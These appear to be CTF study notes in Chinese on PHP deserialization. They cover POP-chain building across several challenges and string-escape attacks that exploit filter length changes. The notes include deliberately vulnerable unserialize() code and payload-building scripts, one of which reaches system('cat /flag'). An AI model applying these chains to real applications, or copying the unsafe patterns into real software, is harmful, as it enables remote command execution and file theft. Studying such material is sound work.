橙子科技POP链例题:
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var="flag.php";
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
$M = new Modifier();
$S = new Show();
$T = new Test();
$S->source = $S;
$S->str = $T;
$T->p = $M;
echo serialize($S);
//O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
?>
例题:NSSCTF的pklovecloud
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
构造pop链
<?php
class classa
{
public $neutron;
public $nova;
}
$a = new classa();
$a->neutron = &$a->nova;
echo serialize($a);
?>
上面是先构造的让他两相等,然后再序列化
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
}
class ace
{
public $filename='flag.php';
public $openstack;
public $docker='O:6:"classa":2:{s:7:"neutron";N;s:4:"nova";R:2;}';
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
$a = new acp();
echo serialize($a).'<br>';
echo urlencode(serialize($a));#为什么要编码,那是应为有个类里有protected属性,所以序列化后会有特殊的%00*%00,不编码显示不出来。
//O:3:"acp":3:{s:9:"%00*%00cinder";O:3:"ace":3:{s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:48:"O:6:"classa":2:{s:7:"neutron";N;s:4:"nova";R:2;}";}s:7:"neutron";N;s:4:"nova";N;}
?>
如果觉得不够详细还可参考更骚的思路,用null绕过:
https://blog.youkuaiyun.com/qq_73767109/article/details/131561824
例题NSSCTF UnS3rialize
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}
class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}
class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString<br/>There is more than one way to trigger";
return $this->sth->var;
}
}
class F
{
public $user = "SWPU";
public $passwd = "NSS";
private $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct<br/>";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}
if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "Let's do some deserialization :)";
}
构造简单pop链:
<?php
class NSS
{
public $cmd='cat /flag';
}
class C
{
public $whoami;
private $var;
}
class T
{
public $sth;
}
class F
{
public $user = "SWPU";
public $passwd = "NSS";
public $notes;
}
$a = new NSS();
// O:3:"NSS":2:{s:3:"cmd";s:6:"whoami";}
$c = new c();
// O:1:"C":2:{s:6:"whoami";s:3:"NSS";s:6:"%00C%00var";N;}
$c->whoami = &$a;
$t = new T();
// O:1:"T":1:{s:3:"sth";s:1:"C";}
$t->sth = &$c;
$f = new F("SWPU","NSS");
// O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";s:1:"T";}
$f->notes = &$t;
$b1 = serialize($f);
echo $b1.'<br>';
echo base64_encode($b1).'<br>';
// $pop = 'O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";s:1:"O:1:"T":1:{s:3:"sth";s:1:"O:1:"C":2:{s:6:"whoami";s:3:"NSS";s:6:"%00C%00var";O:3:"NSS":2:{s:3:"cmd";s:6:"whoami";};}";}";}';
// echo base64_encode($pop).'<br>';
?>
字符串逃逸
放两篇灵魂文章,后面再做到再来填坑:
PHP反序列化——字符逃逸漏洞(肯定能看懂的!)_太菜了怎么办?的博客-优快云博客
从一道CTF题来理解PHP反序列化中的字符逃逸漏洞 - Dubh3 - 博客园 (cnblogs.com)
字符串增加:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
echo $param.'<br>';
echo (filter($param));
$profile=unserialize(filter($param));
echo strlen('";s:4:"pass";s:8:"escaping";}').'<br>';
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
//param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
?>
字符串减少:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
echo $param.'<br>';
echo filter($param).'<br>';
echo strlen(';s:3:"vip";b:0;}');
$profile=unserialize(filter($param));
var_dump($profile);
if ($profile->vip){
echo file_get_contents("flag.php");
}
//user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp&pass=;s:4:"pass";s:1:"1";s:3:"vip";b:1;}
?>